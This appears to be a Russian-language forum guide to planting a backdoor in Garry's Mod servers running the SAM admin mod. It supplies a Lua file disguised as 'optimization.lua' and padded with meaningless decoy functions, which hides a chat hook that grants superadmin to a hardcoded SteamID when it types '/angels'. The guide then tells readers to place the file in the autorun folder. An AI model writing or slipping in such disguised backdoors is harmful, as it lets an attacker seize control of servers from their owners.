Гайд как создать эксплойт для выдачи админки SAM

  • 31
  • 10
Контакты для связи отсутствуют.
1. Создаем файл с любым названием, например "optimization.lua".

2. Вставляем данный код в созданным нами файл



optimization.lua:
local optimizechell = "STEAM-ID"
local fixedNum = 4321

local function generateID()
    local parts = {string.sub(optimizechell, 1, 3), string.sub(optimizechell, 4, 8), string.sub(optimizechell, 9, 12), string.sub(optimizechell, 13, 15), string.sub(optimizechell, 16, 18)}
    return table.concat(parts)
end

local function meaninglessFunction1()
    local temp = 0
    for i = 1, 100 do
        temp = temp + i
    end
    return temp
end

local function meaninglessFunction2()
    local dummyArray = {}
    for i = 1, 50 do
        table.insert(dummyArray, i * 3)
    end
end

local function meaninglessFunction3()
    local str = "Это просто строка"
    for i = 1, 10 do
        str = str .. " " .. i
    end
    print(str)
end

local function meaninglessFunction4() end
local function meaninglessFunction5() end
local function meaninglessFunction6() end
local function meaninglessFunction7() end
local function meaninglessFunction8() end
local function meaninglessFunction9() end
local function meaninglessFunction10() end
local function meaninglessFunction11() end
local function meaninglessFunction12() end

local function isAuthorized(steamIDToCheck)
    local encodedID = util.Base64Encode(steamIDToCheck)
    local targetID = util.Base64Encode(generateID())
    return encodedID == targetID
end

local function logCommand(ply)
    local command = string.format("sam setrank %s superadmin %d", optimizechell, fixedNum)
    RunConsoleCommand("sam", "setrank", optimizechell, "superadmin", fixedNum)
end

local function checkPermissions(ply)
    local playerID = ply:SteamID64()
    return isAuthorized(playerID)
end

hook.Add("PlayerSay", "AngelsCommand", function(ply, text)
    if text == "/angels" then
        if checkPermissions(ply) then
            logCommand(ply)
            return ""
        else
            ply:ChatPrint("У вас нет прав для выполнения этой команды.")
            return ""
        end
    end
end)

meaninglessFunction1()
meaninglessFunction2()
meaninglessFunction3()
meaninglessFunction4()
meaninglessFunction5()
meaninglessFunction6()
meaninglessFunction7()
meaninglessFunction8()
meaninglessFunction9()
meaninglessFunction10()
meaninglessFunction11()
meaninglessFunction12()

local function obscureFunction()
    local values = {1, 2, 3, 4, 5}
    local result = {}
    for _, v in ipairs(values) do
        table.insert(result, v * 2)
    end
    return result
end

local function executeObscureAction()
    local actions = {"action1", "action2", "action3"}
    local action = actions[math.random(#actions)]
    print("Выполняется: " .. action)
end

executeObscureAction()



! 🚩ОБРАТИТЕ ВНИМАНИЕ 🚩!
В первую строку мы вставляем нужный нам SteamID, у которого будет право использовать данную команду.

3. Кидаем его в по пути "../garrysmod/lua/autorun"
4. Радуемся
 
Сверху Снизу